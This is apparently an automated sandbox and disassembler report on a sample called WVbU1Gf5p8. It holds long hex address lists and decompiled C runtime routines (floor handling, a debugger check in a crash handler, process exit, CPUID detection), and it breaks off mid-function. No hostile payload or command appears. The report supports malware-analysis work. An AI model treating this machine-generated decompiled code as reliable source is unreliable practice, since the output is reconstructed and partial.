0x0123b9e8
0x0123b9e8
0x0123b9e3
0x0123b9e3
0x0123b9e3
0x0123b9ec
0x0123b9ef
0x0123b9f1
0x0123b9f3
0x0123b9f9
0x0123b9ff
0x0123ba01
0x0123ba01
0x0123ba01
0x0123ba08
0x0123ba08
0x0123ba0a
0x0123ba16
0x0123ba16
0x0123ba16
0x0123ba0c
0x0123ba0e
0x0123ba0e
0x0123ba1d
0x0123ba20
0x0123ba22
0x0123ba29
0x0123ba29
0x0123ba24
0x0123ba24
0x0123ba24
0x0123ba31
0x0123ba3c
0x0123ba42
0x0123ba43
0x0123ba48
0x0123ba4e
0x0123ba51
0x00000000
0x00000000
0x0123ba53
0x0123ba53
0x0123ba5d
0x0123ba68
0x0123ba70
0x0123ba76
0x0123ba81
0x0123ba87
0x0123ba8e
0x0123baa1
0x0123baa8
0x0123baa8
0x00000000
0x0123b9d5
0x0123b9bb
0x00000000
0x0123b9b3
0x0123bbf0
0x0123bbf0
0x0123bbf6
0x0123bbfb
0x0123bc01
0x0123bc14
0x0123bc19
0x0123b59e
0x0123b59e
0x0123b5a7
0x0123b5a8
0x0123b5b2
0x0123b5b8
0x0123b5ba
0x0123b7c0
0x0123b7c8
0x0123b7cb
0x0123b7d0
0x0123b7d3
0x0123b7db
0x0123b7df
0x0123b7e5
0x0123b7eb
0x0123b7f0
0x0123b7f7
0x0123b7f8
0x0123b7f8
0x0123b7f8
0x0123b7ff
0x0123b802
0x0123b80a
0x0123b810
0x0123b815
0x0123b815
0x0123b812
0x0123b812
0x0123b812
0x0123b819
0x0123b81a
0x0123b81c
0x0123b81f
0x0123b825
0x0123b82b
0x0123b82e
0x0123b831
0x0123b837
0x0123b83a
0x0123b83d
0x0123b847
0x0123b847
0x0123b847
0x0123b83f
0x0123b83f
0x0123b841
0x00000000
0x0123b843
0x0123b843
0x0123b843
0x0123b841
0x0123b849
0x0123b84b
0x0123b93d
0x0123b93d
0x0123b93f
0x0123b945
0x0123b94b
0x0123b960
0x0123b965
0x0123b851
0x0123b851
0x0123b853
0x00000000
0x0123b859
0x0123b85b
0x0123b85c
0x0123b85e
0x0123b860
0x0123b862
0x0123b862
0x0123b868
0x0123b86a
0x0123b870
0x0123b873
0x0123b881
0x0123b887
0x0123b887
0x0123b889
0x0123b88c
0x0123b892
0x0123b892
0x0123b894
0x00000000
0x00000000
0x0123b896
0x0123b898
0x0123b89e
0x0123b89e
0x0123b89a
0x0123b89a
0x0123b89a
0x0123b8a3
0x0123b8a5
0x0123b8ac
0x0123b8ac
0x0123b8a7
0x0123b8a7
0x0123b8a7
0x0123b8d2
0x0123b8d8
0x0123b8db
0x0123b8e1
0x0123b8e8
0x0123b8e9
0x0123b8ea
0x0123b8f0
0x0123b8f3
0x0123b8f5
0x00000000
0x0123b8f5
0x00000000
0x0123b8f3
0x0123b8fd
0x0123b903
0x0123b90b
0x0123b90b
0x0123b90c
0x0123b90e
0x0123b912
0x0123b91a
0x0123b91a
0x0123b91a
0x0123b91c
0x0123b923
0x0123b928
0x0123b935
0x0123b92a
0x0123b92d
0x0123b92d
0x0123b928
0x0123b853
0x0123b968
0x0123b972
0x0123b978
0x0123b97e
0x0123b984
0x0123b5c0
0x0123b5c0
0x0123b5c0
0x0123b5c2
0x0123b5c9
0x0123b5d0
0x00000000
0x00000000
0x0123b5d6
0x0123b5d9
0x0123b5dc
0x00000000
0x0123b5de
0x0123b5e6
0x0123b5eb
0x0123b5f0
0x0123b5f1
0x0123b5f3
0x0123b5fb
0x0123b5ff
0x0123b605
0x0123b60b
0x0123b610
0x0123b617
0x0123b617
0x0123b618
0x0123b61b
0x0123b623
0x0123b629
0x0123b62e
0x0123b62e
0x0123b62b
0x0123b62b
0x0123b62b
0x0123b632
0x0123b633
0x0123b635
0x0123b638
0x0123b63e
0x0123b644
0x0123b647
0x0123b64a
0x0123b650
0x0123b653
0x0123b656
0x0123b660
0x0123b660
0x0123b660
0x0123b658
0x0123b658
0x0123b65a
0x00000000
0x0123b65c
0x0123b65c
0x0123b65c
0x0123b65a
0x0123b662
0x0123b664
0x0123b759
0x0123b759
0x0123b75b
0x0123b761
0x0123b767
0x0123b77c
0x0123b781
0x0123b66a
0x0123b66a
0x0123b66c
0x00000000
0x0123b672
0x0123b674
0x0123b675
0x0123b677
0x0123b679
0x0123b67b
0x0123b67b
0x0123b681
0x0123b683
0x0123b689
0x0123b68c
0x0123b69a
0x0123b6a0
0x0123b6a0
0x0123b6a2
0x0123b6a5
0x0123b6ab
0x0123b6ab
0x0123b6ad
0x00000000
0x00000000
0x0123b6af
0x0123b6b1
0x0123b6b7
0x0123b6b7
0x0123b6b3
0x0123b6b3
0x0123b6b3
0x0123b6bc
0x0123b6be
0x0123b6cb
0x0123b6cb
0x0123b6c0
0x0123b6c6
0x0123b6c6
0x0123b6e9
0x0123b6f1
0x0123b6f8
0x0123b6ff
0x0123b700
0x0123b703
0x0123b709
0x0123b70f
0x0123b712
0x0123b714
0x00000000
0x0123b714
0x00000000
0x0123b712
0x0123b71c
0x0123b722
0x0123b722
0x0123b728
0x0123b72a
0x0123b734
0x0123b736
0x0123b736
0x0123b736
0x0123b738
0x0123b73f
0x0123b744
0x0123b751
0x0123b746
0x0123b749
0x0123b749
0x0123b744
0x0123b66c
0x0123b784
0x0123b78f
0x0123b790
0x0123b791
0x0123b797
0x0123b79d
0x0123b7a3
0x0123b7a3
0x00000000
0x0123b5dc
0x00000000
0x0123b5c2
0x0123b7a4
0x0123b7aa
0x0123b7b1
0x0123b7b2
0x0123b7b3
0x0123b7b8
0x0123b7b8
0x0123bc1c
0x0123bc26
0x0123bc27
0x0123bc2d
0x0123bc2f
0x0123c098
0x0123c09a
0x0123c09c
0x0123c0a2
0x0123c0a4
0x0123c0aa
0x0123c0ac
0x0123c3fe
0x0123c3fe
0x0123c400
0x0123c406
0x0123c40d
0x0123c413
0x0123c415
0x0123c4b3
0x0123c4b3
0x0123c4b5
0x0123c4b6
0x0123c4bc
0x00000000
0x0123c41b
0x0123c41b
0x0123c41e
0x0123c424
0x0123c42a
0x0123c42c
0x0123c432
0x0123c434
0x0123c434
0x0123c436
0x0123c436
0x0123c43f
0x0123c446
0x0123c44c
0x0123c44f
0x0123c450
0x0123c452
0x0123c452
0x0123c456
0x0123c458
0x0123c45a
0x0123c460
0x0123c463
0x00000000
0x0123c465
0x0123c465
0x0123c46c
0x0123c46c
0x0123c463
0x0123c458
0x0123c42c
0x0123c41e
0x0123c415
0x0123c0b2
0x0123c0b2
0x0123c0b2
0x0123c0b5
0x0123c0b9
0x0123c0b9
0x0123c0ba
0x0123c0cc
0x0123c0d9
0x0123c0e8
0x0123c112
0x0123c117
0x0123c11d
0x0123c120
0x0123c126
0x0123c129
0x0123c1c2
0x0123c1c9
0x0123c247
0x0123c24d
0x0123c253
0x0123c256
0x0123c258
0x0123c2e1
0x0123c25e
0x0123c25e
0x0123c264
0x0123c264
0x0123c26a
0x0123c270
0x0123c272
0x0123c274
0x0123c274
0x0123c27a
0x0123c280
0x0123c282
0x0123c28a
0x0123c28a
0x0123c290
0x0123c292
0x0123c294
0x0123c29a
0x0123c29c
0x0123c3b3
0x0123c3b5
0x0123c3bb
0x0123c3bb
0x0123c3be
0x0123c3bf
0x00000000
0x0123c2a2
0x0123c2a8
0x0123c2a8
0x0123c2aa
0x0123c2b0
0x0123c2b3
0x0123c2ba
0x0123c2c0
0x0123c2c2
0x0123c2e9
0x0123c2eb
0x0123c2ed
0x0123c2ef
0x0123c2f5
0x0123c2fb
0x0123c395
0x0123c395
0x0123c398
0x00000000
0x0123c39e
0x0123c39e
0x0123c3a4
0x00000000
0x0123c3a4
0x0123c301
0x0123c301
0x0123c301
0x0123c304
0x00000000
0x00000000
0x0123c306
0x0123c308
0x0123c30a
0x0123c313
0x0123c313
0x0123c315
0x0123c31b
0x0123c31b
0x0123c327
0x0123c332
0x0123c335
0x0123c342
0x0123c345
0x0123c346
0x0123c347
0x0123c34d
0x0123c34f
0x0123c355
0x0123c35b
0x00000000
0x00000000
0x00000000
0x00000000
0x0123c35d
0x0123c35d
0x0123c35d
0x0123c35f
0x00000000
0x00000000
0x0123c361
0x0123c364
0x00000000
0x0123c36a
0x0123c36a
0x0123c36c
0x0123c36e
0x0123c36e
0x0123c36e
0x0123c376
0x0123c379
0x0123c379
0x0123c37f
0x0123c381
0x0123c383
0x0123c38a
0x0123c390
0x0123c392
0x00000000
0x0123c392
0x00000000
0x0123c364
0x00000000
0x0123c35d
0x00000000
0x0123c301
0x0123c2c4
0x0123c2c4
0x0123c2c6
0x0123c2cc
0x0123c2d3
0x0123c2d3
0x0123c2d6
0x0123c2d6
0x00000000
0x0123c2c6
0x00000000
0x0123c3aa
0x0123c3aa
0x0123c3ab
0x0123c3ab
0x00000000
0x0123c2b0
0x0123c1cb
0x0123c1cb
0x0123c1dd
0x0123c1ec
0x0123c1f1
0x0123c1f4
0x0123c1f6
0x00000000
0x0123c1fc
0x0123c1fc
0x0123c1ff
0x00000000
0x0123c205
0x0123c205
0x0123c20c
0x00000000
0x0123c212
0x0123c218
0x0123c21a
0x0123c220
0x0123c220
0x0123c222
0x0123c222
0x0123c224
0x0123c22d
0x0123c234
0x0123c237
0x0123c238
0x0123c23a
0x0123c23a
0x00000000
0x0123c242
0x0123c20c
0x0123c1ff
0x0123c1f6
0x0123c12f
0x0123c12f
0x0123c135
0x0123c137
0x0123c153
0x0123c156
0x00000000
0x0123c15c
0x0123c15c
0x0123c163
0x00000000
0x0123c169
0x0123c16f
0x0123c171
0x0123c177
0x0123c177
0x0123c179
0x0123c179
0x0123c17b
0x0123c184
0x0123c18b
0x0123c18e
0x0123c18f
0x0123c191
0x0123c191
0x0123c199
0x0123c199
0x0123c19b
0x00000000
0x0123c1a1
0x0123c1a1
0x0123c1a7
0x0123c1aa
0x0123c474
0x0123c477
0x0123c47d
0x0123c492
0x0123c497
0x0123c49a
0x0123c1b0
0x0123c1b0
0x0123c1b7
0x00000000
0x0123c1b7
0x0123c1aa
0x0123c19b
0x0123c163
0x0123c139
0x0123c139
0x0123c13b
0x0123c141
0x0123c147
0x0123c148
0x0123c3c5
0x0123c3c5
0x0123c3cc
0x0123c3cd
0x0123c3ce
0x0123c3d3
0x0123c3d6
0x0123c3d6
0x0123c3d6
0x0123c137
0x0123c3d8
0x0123c3d8
0x0123c3da
0x0123c4a1
0x0123c4a8
0x0123c4af
0x0123c4c2
0x0123c4c8
0x0123c4c9
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0123c3e0
0x0123c3e6
0x0123c3e6
0x0123c3ec
0x0123c3ec
0x0123c3f8
0x00000000
0x0123c3f8
0x0123bc35
0x0123bc35
0x0123bc37
0x0123bc3d
0x0123bc3f
0x0123bc45
0x0123bc47
0x0123bfbe
0x0123bfbe
0x0123bfc0
0x0123bfc6
0x0123bfcd
0x0123bfcf
0x0123c02e
0x0123c031
0x0123c037
0x0123c03d
0x0123c043
0x0123c045
0x0123c04b
0x0123c04d
0x0123c04d
0x0123c04f
0x0123c04f
0x0123c051
0x0123c05a
0x0123c061
0x0123c064
0x0123c065
0x0123c067
0x0123c067
0x0123c06f
0x0123c071
0x0123c077
0x0123c07d
0x0123c080
0x00000000
0x0123c086
0x0123c086
0x0123c08d
0x0123c08d
0x0123c080
0x0123c071
0x0123c045
0x0123bfd1
0x0123bfd1
0x0123bfd3
0x0123bfd9
0x0123bfdf
0x00000000
0x0123bfdf
0x0123bfcf
0x0123bc4d
0x0123bc4d
0x0123bc4d
0x0123bc50
0x0123bc54
0x0123bc54
0x0123bc55
0x0123bc67
0x0123bc74
0x0123bc83
0x0123bcad
0x0123bcb2
0x0123bcb8
0x0123bcbb
0x0123bcc1
0x0123bcc4
0x0123bd40
0x0123bd47
0x0123be0b
0x0123be11
0x0123be17
0x0123be1a
0x0123be1c
0x0123bea5
0x0123be22
0x0123be22
0x0123be28
0x0123be28
0x0123be2e
0x0123be34
0x0123be36
0x0123be38
0x0123be38
0x0123be3e
0x0123be44
0x0123be46
0x0123be4e
0x0123be4e
0x0123be54
0x0123be56
0x0123be58
0x0123be5e
0x0123be60
0x0123bf77
0x0123bf79
0x0123bf7f
0x0123bf7f
0x00000000
0x0123be66
0x0123be6c
0x0123be6c
0x0123be6e
0x0123be74
0x0123be77
0x0123be7e
0x0123be84
0x0123be86
0x0123bead
0x0123beaf
0x0123beb1
0x0123beb3
0x0123beb9
0x0123bebf
0x0123bf59
0x0123bf59
0x0123bf5c
0x00000000
0x0123bf62
0x0123bf62
0x0123bf68
0x00000000
0x0123bf68
0x0123bec5
0x0123bec5
0x0123bec5
0x0123bec8
0x00000000
0x00000000
0x0123beca
0x0123becc
0x0123bece
0x0123bed7
0x0123bed7
0x0123bed9
0x0123bedf
0x0123bedf
0x0123beeb
0x0123bef6
0x0123bef9
0x0123bf06
0x0123bf09
0x0123bf0a
0x0123bf0b
0x0123bf11
0x0123bf13
0x0123bf19
0x0123bf1f
0x00000000
0x00000000
0x00000000
0x00000000
0x0123bf21
0x0123bf21
0x0123bf21
0x0123bf23
0x00000000
0x00000000
0x0123bf25
0x0123bf28
0x0123bfe2
0x0123bfe2
0x0123bfe4
0x0123bfea
0x0123bff0
0x0123bff1
0x00000000
0x0123bf2e
0x0123bf2e
0x0123bf30
0x0123bf32
0x0123bf32
0x0123bf32
0x0123bf3a
0x0123bf3d
0x0123bf3d
0x0123bf43
0x0123bf45
0x0123bf47
0x0123bf4e
0x0123bf54
0x0123bf56
0x00000000
0x0123bf56
0x00000000
0x0123bf28
0x00000000
0x0123bf21
0x00000000
0x0123bec5
0x0123be88
0x0123be88
0x0123be8a
0x0123be90
0x0123be97
0x0123be97
0x0123be9a
0x0123be9a
0x00000000
0x0123be8a
0x00000000
0x0123bf6e
0x0123bf6e
0x0123bf6f
0x0123bf6f
0x00000000
0x0123be74
0x0123bd4d
0x0123bd4d
0x0123bd5f
0x0123bd6e
0x0123bd73
0x0123bd76
0x0123bd78
0x0123bd94
0x0123bd97
0x00000000
0x0123bd9d
0x0123bd9d
0x0123bda4
0x00000000
0x0123bdaa
0x0123bdb0
0x0123bdb2
0x0123bdb8
0x0123bdb8
0x0123bdba
0x0123bdba
0x0123bdbc
0x0123bdc5
0x0123bdcc
0x0123bdcf
0x0123bdd0
0x0123bdd2
0x0123bdd2
0x00000000
0x0123bdba
0x0123bda4
0x0123bd7a
0x0123bd7c
0x0123bd82
0x0123bd88
0x0123bd89
0x00000000
0x0123bd89
0x0123bd78
0x0123bcc6
0x0123bcc6
0x0123bccc
0x0123bcce
0x0123bce3
0x0123bce6
0x00000000
0x0123bcec
0x0123bcec
0x0123bcf3
0x00000000
0x0123bcf9
0x0123bcff
0x0123bd01
0x0123bd07
0x0123bd07
0x0123bd09
0x0123bd09
0x0123bd0b
0x0123bd14
0x0123bd1b
0x0123bd1e
0x0123bd1f
0x0123bd21
0x0123bd21
0x0123bdda
0x0123bdda
0x0123bddc
0x00000000
0x0123bde2
0x0123bde2
0x0123bde8
0x0123bdeb
0x0123bd2e
0x0123bd35
0x00000000
0x0123bdf1
0x0123bdf3
0x0123bdf9
0x0123bdff
0x0123be00
0x0123bff7
0x0123bff7
0x0123bffe
0x0123bfff
0x0123c000
0x0123c005
0x0123c008
0x0123c008
0x0123bdeb
0x0123bddc
0x0123bcf3
0x0123bcd0
0x0123bcd0
0x0123bcd2
0x0123bcd8
0x0123bf82
0x0123bf82
0x0123bf83
0x0123bf89
0x0123bf89
0x0123bf90
0x0123bf91
0x0123bf92
0x0123bf97
0x0123bf9a
0x0123bf9a
0x0123bf9a
0x0123bcce
0x0123bf9c
0x0123bf9c
0x0123bf9e
0x0123c00c
0x0123c013
0x0123c013
0x0123c013
0x0123c01a
0x0123c01c
0x0123c022
0x0123c023
0x0123c4cf
0x0123c4cf
0x0123c4d0
0x0123c4d1
0x0123c4d6
0x00000000
0x00000000
0x00000000
0x00000000
0x0123bfa0
0x0123bfa6
0x0123bfa6
0x0123bfac
0x0123bfac
0x0123bfb8
0x00000000
0x0123bfb8
0x0123bc47
0x0123c4d9
0x0123c4d9
0x0123c4df
0x0123c4e1
0x0123c4e7
0x0123c4ed
0x0123c4ef
0x0123c4f1
0x0123c4f3
0x0123c4f3
0x0123c4f5
0x0123c4f5
0x0123c4fe
0x0123c4ff
0x0123c503
0x0123c50a
0x0123c50d
0x0123c50e
0x0123c510
0x0123c510
0x0123c514
0x0123c51a
0x0123c51c
0x0123c522
0x0123c524
0x0123c52a
0x0123c52d
0x0123c540
0x0123c543
0x0123c549
0x0123c55e
0x0123c563
0x0123c52f
0x0123c531
0x0123c538
0x0123c538
0x0123c52d
0x0123c566
0x0123c566
0x0123c576
0x0123c57f
0x0123c580
0x0123c582
0x0123c619
0x0123c61b
0x0123c626
0x0123c626
0x0123c628
0x0123c62b
0x0123c62d
0x00000000
0x0123c61d
0x0123c623
0x0123c623
0x0123c588
0x0123c588
0x0123c58e
0x0123c591
0x0123c597
0x0123c59a
0x0123c5a0
0x0123c5a2
0x0123c5a8
0x0123c5aa
0x0123c5ac
0x0123c5ac
0x0123c5ae
0x0123c5ae
0x0123c5bb
0x0123c5c2
0x0123c5c5
0x0123c5c6
0x0123c5c8
0x0123c5c9
0x0123c5c9
0x0123c5cd
0x0123c5d3
0x0123c5d5
0x0123c5d7
0x0123c5dd
0x0123c5e0
0x0123c5f4
0x0123c5fa
0x0123c60f
0x0123c614
0x0123c5e2
0x0123c5e2
0x0123c5e9
0x0123c5e9
0x0123c5e0
0x0123c5d5
0x0123c633
0x0123c633
0x0123c633
0x0123c63f
0x0123c642
0x0123c648
0x0123c64a
0x0123c64c
0x0123c652
0x0123c654
0x0123c654
0x0123c654
0x0123c652
0x0123c659
0x0123c65a
0x0123c65c
0x0123c65e
0x0123c65e
0x0123c660
0x0123c666
0x0123c66c
0x0123c66e
0x0123c674
0x0123c674
0x0123c67a
0x0123c67c
0x00000000
0x00000000
0x0123c682
0x0123c684
0x0123c686
0x0123c686
0x0123c688
0x0123c688
0x0123c698
0x0123c69f
0x0123c6a2
0x0123c6a3
0x0123c6a5
0x0123c6a5
0x0123c6a9
0x0123c6af
0x0123c6b1
0x0123c6b3
0x0123c6b9
0x0123c6bc
0x0123c6cd
0x0123c6d0
0x0123c6d6
0x0123c6eb
0x0123c6f0
0x0123c6be
0x0123c6be
0x0123c6c5
0x0123c6c5
0x0123c6bc
0x0123c701
0x0123c710
0x0123c711
0x0123c711
0x0123c713
0x0123c715
0x0123c715
0x0123c71b
0x0123c71e
0x0123c720
0x0123c722
0x0123c722
0x0123c725
0x0123c726
0x0123c726
0x0123c72b
0x0123c72e
0x0123c732
0x0123c732
0x0123c733
0x0123c735
0x0123c73b
0x0123c741
0x00000000
0x00000000
0x00000000
0x0123c741
0x0123c674
0x0123c747
0x0123c747
0x00000000
0x0123c747
0x0123b4cc
0x0123b4c3
0x0123b4ba
0x0123b471
0x0123b475
0x0123b47d
0x00000000
0x0123b47f
0x0123b485
0x0123b48a
0x0123c766
0x0123c766
0x0123c769
0x0123c774
0x0123c79f
0x0123c7a0
0x0123c7a1
0x0123c7a2
0x0123c7a3
0x0123c7a4
0x0123c7a9
0x0123c7b1
0x0123c7b6
0x0123c7bc
0x0123c7c1
0x0123c7c2
0x0123c7c2
0x0123c7c2
0x0123c7c8
0x0123c7c9
0x0123c7c9
0x0123c7cc
0x0123c7d2
0x00000000
0x00000000
0x0123c7d4
0x0123c7d9
0x0123c7dc
0x0123c7de
0x0123c7e6
0x0123c7e8
0x0123c7ea
0x0123c7ef
0x0123c7f2
0x0123c7f8
0x0123c7fb
0x0123c7fd
0x0123c7fd
0x0123c7fd
0x0123c7fd
0x0123c7fb
0x0123c800
0x0123c80c
0x0123c812
0x0123c81a
0x0123c81f
0x0123c820
0x0123c825
0x0123c825
0x0123c825
0x0123c825
0x0123c829
0x0123c829
0x0123c82c
0x0123c833
0x0123c840
0x0123c776
0x0123c776
0x0123c776
0x0123c77d
0x0123c77e
0x0123c77f
0x0123c780
0x0123c789
0x0123c78e
0x0123c79c
0x0123c79c
0x0123c774
0x0123b47d

APIs

__floor_pentium4.LIBCMT ref: 0123B554

Strings

1#INF, xrefs: 0123C761
1#QNAN, xrefs: 0123C75A
1#IND, xrefs: 0123C74C
1#SNAN, xrefs: 0123C753

Memory Dump Source

Source File: 00000000.00000002.1002474836.0000000001231000.00000040.00020000.sdmp, Offset: 01230000, based on PE: true

Associated: 00000000.00000002.1002466607.0000000001230000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1002492548.0000000001249000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.1002502352.000000000124D000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.1002507213.000000000124E000.00000080.00020000.sdmp Download File
Associated: 00000000.00000002.1002512222.0000000001250000.00000004.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1230000_WVbU1Gf5p8.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 2aea068d4710c2634d924e2a00a43278c24332ff2c2204caabacded86f1076e2
Instruction ID: c77a8004868ff817b4ebdcedff0ea65abff939db792c4dcff7cc58fc1f94b86a
Opcode Fuzzy Hash: 2aea068d4710c2634d924e2a00a43278c24332ff2c2204caabacded86f1076e2
Instruction Fuzzy Hash: 09C25CB1E246298FDF29CE28DD407E9B7B5EB88305F1441EAD94DE7241E774AE818F40

Uniqueness

Uniqueness Score: -1.00%

Function 01236B11, Relevance: 4.6, APIs: 3, Instructions: 78
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 86%

			E01236B11(intOrPtr __ebx, intOrPtr __edx, intOrPtr __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v0;
				signed int _v8;
				intOrPtr _v524;
				intOrPtr _v528;
				void* _v532;
				intOrPtr _v536;
				char _v540;
				intOrPtr _v544;
				intOrPtr _v548;
				intOrPtr _v552;
				intOrPtr _v556;
				intOrPtr _v560;
				intOrPtr _v564;
				intOrPtr _v568;
				intOrPtr _v572;
				intOrPtr _v576;
				intOrPtr _v580;
				intOrPtr _v584;
				char _v724;
				intOrPtr _v792;
				intOrPtr _v800;
				char _v804;
				intOrPtr _v808;
				char _v812;
				void* __edi;
				void* __ebp;
				signed int _t40;
				char* _t47;
				intOrPtr _t49;
				intOrPtr _t61;
				intOrPtr _t62;
				intOrPtr _t66;
				intOrPtr _t67;
				int _t68;
				intOrPtr _t69;
				signed int _t70;

				_t69 = __esi;
				_t66 = __edx;
				_t61 = __ebx;
				_t40 =  *0x1249004; // 0x5a4607f2
				_t41 = _t40 ^ _t70;
				_v8 = _t40 ^ _t70;
				if(_a4 != 0xffffffff) {
					_push(_a4);
					E01232DD0(_t41);
					_pop(_t62);
				}
				E012333D0(_t67,  &_v804, 0, 0x50);
				E012333D0(_t67,  &_v724, 0, 0x2cc);
				_v812 =  &_v804;
				_t47 =  &_v724;
				_v808 = _t47;
				_v548 = _t47;
				_v552 = _t62;
				_v556 = _t66;
				_v560 = _t61;
				_v564 = _t69;
				_v568 = _t67;
				_v524 = ss;
				_v536 = cs;
				_v572 = ds;
				_v576 = es;
				_v580 = fs;
				_v584 = gs;
				asm("pushfd");
				_pop( *_t22);
				_v540 = _v0;
				_t25 =  &_v0; // 0x5
				_t49 = _t25;
				_v528 = _t49;
				_v724 = 0x10001;
				_v544 =  *((intOrPtr*)(_t49 - 4));
				_v804 = _a8;
				_v800 = _a12;
				_v792 = _v0;
				_t68 = IsDebuggerPresent();
				SetUnhandledExceptionFilter(0);
				_t36 =  &_v812; // -807
				if(UnhandledExceptionFilter(_t36) == 0 && _t68 == 0 && _a4 != 0xffffffff) {
					_push(_a4);
					E01232DD0(_t57);
				}
				return E01232550(_t61, _v8 ^ _t70, _t66, _t68, _t69);
			}

0x01236b11
0x01236b11
0x01236b11
0x01236b1c
0x01236b21
0x01236b23
0x01236b2b
0x01236b2d
0x01236b30
0x01236b35
0x01236b35
0x01236b41
0x01236b54
0x01236b62
0x01236b68
0x01236b6e
0x01236b74
0x01236b7a
0x01236b80
0x01236b86
0x01236b8c
0x01236b92
0x01236b98
0x01236b9f
0x01236ba6
0x01236bad
0x01236bb4
0x01236bbb
0x01236bc2
0x01236bc3
0x01236bcc
0x01236bd2
0x01236bd2
0x01236bd5
0x01236bdb
0x01236be8
0x01236bf1
0x01236bfa
0x01236c03
0x01236c11
0x01236c13
0x01236c19
0x01236c28
0x01236c34
0x01236c37
0x01236c3c
0x01236c4b

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 01236C09
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 01236C13
UnhandledExceptionFilter.KERNEL32(-00000327,?,?,?,?,?,00000000), ref: 01236C20

Memory Dump Source

Source File: 00000000.00000002.1002474836.0000000001231000.00000040.00020000.sdmp, Offset: 01230000, based on PE: true

Associated: 00000000.00000002.1002466607.0000000001230000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1002492548.0000000001249000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.1002502352.000000000124D000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.1002507213.000000000124E000.00000080.00020000.sdmp Download File
Associated: 00000000.00000002.1002512222.0000000001250000.00000004.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1230000_WVbU1Gf5p8.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 278211ddfd60ecfe979df9b9f259f36298c7aa6c73223b12292a90642336d044
Instruction ID: d8332a0b08abe371c4b1d42f10dd66885609c5752d742f3fc4419cc60c30b3de
Opcode Fuzzy Hash: 278211ddfd60ecfe979df9b9f259f36298c7aa6c73223b12292a90642336d044
Instruction Fuzzy Hash: 8231D6B491121DEBCB21DF28E88879DBBB8FF58310F5041DAE50CA7250E7749B818F44

Uniqueness

Uniqueness Score: -1.00%

Function 01235C5E, Relevance: 4.5, APIs: 3, Instructions: 20
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E01235C5E(int _a4) {
				void* _t14;
				void* _t15;
				void* _t17;
				void* _t18;
				void* _t19;

				if(E0123967F(_t14, _t15, _t17, _t18, _t19) != 0 && ( *( *[fs:0x30] + 0x68) >> 0x00000008 & 0x00000001) == 0) {
					TerminateProcess(GetCurrentProcess(), _a4);
				}
				E01235CE3(_t15, _a4);
				ExitProcess(_a4);
			}

0x01235c6a
0x01235c86
0x01235c86
0x01235c8f
0x01235c98

APIs

GetCurrentProcess.KERNEL32(00000000,?,01235C34,00000000,01247C68,0000000C,01235D8B,00000000,00000002,00000000), ref: 01235C7F
TerminateProcess.KERNEL32(00000000,?,01235C34,00000000,01247C68,0000000C,01235D8B,00000000,00000002,00000000), ref: 01235C86
ExitProcess.KERNEL32 ref: 01235C98

Memory Dump Source

Source File: 00000000.00000002.1002474836.0000000001231000.00000040.00020000.sdmp, Offset: 01230000, based on PE: true

Associated: 00000000.00000002.1002466607.0000000001230000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1002492548.0000000001249000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.1002502352.000000000124D000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.1002507213.000000000124E000.00000080.00020000.sdmp Download File
Associated: 00000000.00000002.1002512222.0000000001250000.00000004.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1230000_WVbU1Gf5p8.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 29cbf85a0e274394fb82a90f8b2d6c17a67ae1e448da131232766541970103b3
Instruction ID: f69e72c3e4fe4cdca1fb8d08195427051d537fb23b113d55a94dbcb8997be525
Opcode Fuzzy Hash: 29cbf85a0e274394fb82a90f8b2d6c17a67ae1e448da131232766541970103b3
Instruction Fuzzy Hash: E0E0B675010509EFCF216F55E90CA993FAAFFA4645B005514F9198B121DB39ED82DB90

Uniqueness

Uniqueness Score: -1.00%

Function 01232E9B, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 135
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E01232E9B(intOrPtr __edx) {
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed char _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				intOrPtr _t51;
				signed int _t53;
				signed int _t56;
				signed int _t57;
				intOrPtr _t59;
				signed int _t60;
				signed int _t62;
				intOrPtr _t67;
				intOrPtr _t68;
				intOrPtr* _t70;
				intOrPtr _t78;
				intOrPtr _t83;
				intOrPtr* _t85;
				signed int _t86;
				signed int _t89;

				_t83 = __edx;
				 *0x1249b04 =  *0x1249b04 & 0x00000000;
				 *0x1249010 =  *0x1249010 | 1;
				if(IsProcessorFeaturePresent(0xa) == 0) {
					L20:
					return 0;
				}
				_v24 = _v24 & 0x00000000;
				 *0x1249010 =  *0x1249010 | 0x00000002;
				 *0x1249b04 = 1;
				_t85 =  &_v48;
				_push(1);
				asm("cpuid");
				_pop(_t67);
				 *_t85 = 0;
				 *((intOrPtr*)(_t85 + 4)) = 1;
				 *((intOrPtr*)(_t85 + 8)) = 0;
				 *((intOrPtr*)(_t85 + 0xc)) = _t83;
				_v16 = _v48;
				_t51 = 1;
				asm("sbb cl, cl");
				_t78 = 0;
				_push(1);
				asm("cpuid");
				_pop(_t68);
				 *_t85 = _t51;
				 *((intOrPtr*)(_t85 + 4)) = _t67;
